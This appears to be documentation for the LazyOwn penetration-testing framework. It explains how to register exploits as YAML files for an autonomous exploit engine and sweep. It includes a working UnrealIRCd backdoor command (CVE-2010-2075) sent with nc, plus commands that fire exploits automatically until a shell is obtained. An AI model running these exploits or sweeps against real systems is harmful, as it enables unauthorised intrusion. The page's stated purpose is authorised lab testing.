grisuno/lazyown/atomic-exploit

/atomic-exploit

The exploit engine is administered by YAML, not by code. To give the autonomous loop a new exploit, you write one file. The engine, the atomic_exploit addon, the auto-sweep, and MCP pick it up with zero Python changes. Hardcoded engine entries are a safety net for an empty catalogue only — a YAML twin always wins on strategy-id collision.

Usage

/atomic-exploit add unrealircd backdoor CVE-2010-2075
/atomic-exploit validate
/atomic-exploit rank 172.17.0.2

Step 1 — Gather facts (no guessing)

You need all of these before writing:

1. nmap service name, product, version (from a real scan: sessions/scan_<ip>.nmap.xml).
2. CVE or empty string (no CVE invented — use cve: "" for logic bugs).
3. MITRE technique the exploit demonstrates (T1190, T1210, ...).
4. A working command chain PROVEN against the lab (paste real output).
5. A shell indicator string present in success output (uid=0, root@, ...).
6. Required binaries on the operator host (nc, msfconsole, curl).

confidence above 0.7 requires a proven run. Unproven entries stay at 0.5 or below so the ranker tries proven options first.

Step 2 — Write exploits/<id>.yaml

One exploit per file. id matches ^[a-z][a-z0-9_]{0,63}$ and MUST equal the filename. Copy this template:

id: unrealircd_backdoor
mitre_id: T1190
cve: CVE-2010-2075
title: UnrealIRCd 3.2.8.1 backdoor command execution
severity: critical           # critical | high | medium | low
confidence: 0.5              # 0.0-1.0; >0.7 only with a proven run
platforms: [linux]
services: [irc]              # EXACT nmap service names, or [all]
products: [unrealircd]       # substring, lowercased
versions: ["3.2"]            # substring, lowercased; [] matches any
requires_binaries: [nc]
commands:                    # ordered; first SHELL hit stops the chain
  - run: printf 'AB;id\n' | nc -w 8 {rhost} 6667
    timeout: 15              # seconds, 5-600
shell_indicators: [uid=0]    # merged with engine defaults
enabled: true

Tokens (single braces only): {rhost} target, {lhost} attacker IP, {lport} callback port, {port} resolved service port. services follows pwntomate semantics exactly: exact service-name match or the special all trigger. enabled: false keeps the file unregistered.

Step 3 — Validate (must pass before testing)

python3 modules/atomic_exploit_bridge.py validate
python3 modules/atomic_exploit_bridge.py list

Fix every [FAIL] line. Common rejections: id/filename mismatch, malformed mitre_id, confidence outside 0-1, empty commands, timeout outside 5-600, non-list matcher fields.

Step 4 — Prove against the lab

# Rank only: does it trigger on the real scan?
python3 modules/atomic_exploit_bridge.py rank --services \
  '[{"name":"irc","product":"UnrealIRCd","version":"3.2.8.1","port":"6667"}]'
 
# Fire once, feed surfaces:
python3 modules/atomic_exploit_bridge.py run --id unrealircd_backdoor \
  --rhost <lab-ip> --feed

Lab targets only, never out of scope. On [SHELL], raise confidence and note the proof (target, date) in your handoff. On [FAIL], read the output: wrong trigger strings cause silent non-matches (check exact nmap service names in the XML), version substrings too narrow cause misses.

Step 5 — Confirm the loop sees it

# Engine ranking (YAML twin must appear with YAML confidence/CVE):
python3 -c "
from modules.autonomous_exploit_engine import AutonomousExploitEngine, TargetProfile
eng = AutonomousExploitEngine()
prof = TargetProfile(ip='<lab-ip>', services=[{'name':'irc','product':'UnrealIRCd','version':'3.2.8.1','port':'6667'}])
print([(c.strategy, c.cve_id, round(c.confidence, 2)) for c in eng.rank_exploits(prof)[:5]])"
# Full sweep from scan triggers, pwntomate-style:
python3 modules/atomic_exploit_bridge.py auto --target <lab-ip>

The sweep reads sessions/scan_<target>.nmap.xml, fires matches in severity/confidence order, stops at first SHELL, stages sessions/atomic_exploit_<target>_<ts>.json, and feeds every surface.

What each run feeds (automatic, best-effort)

Routing priors are what make the world model score each option better over time: every done/blocked outcome for an exploit id re-weights future rankings for similar stacks.

Rules

1. One exploit per file, id equals filename, English only, no emojis.
2. Never invent CVEs, versions, or service names — copy them from scans.
3. confidence is earned by lab proofs, not optimism.
4. Sweep (auto) and run execute against targets: lab and in-scope only.
5. Re-run validate plus tests/test_atomic_exploit_bridge.py after every addition.
6. Never import utils at module import time from headless code paths

expecting silence: its startup-flag block only runs for real LazyOwn entry points now, but lazy from utils import ... inside functions (the lazy_intel pattern) is still the way to keep import-time clean.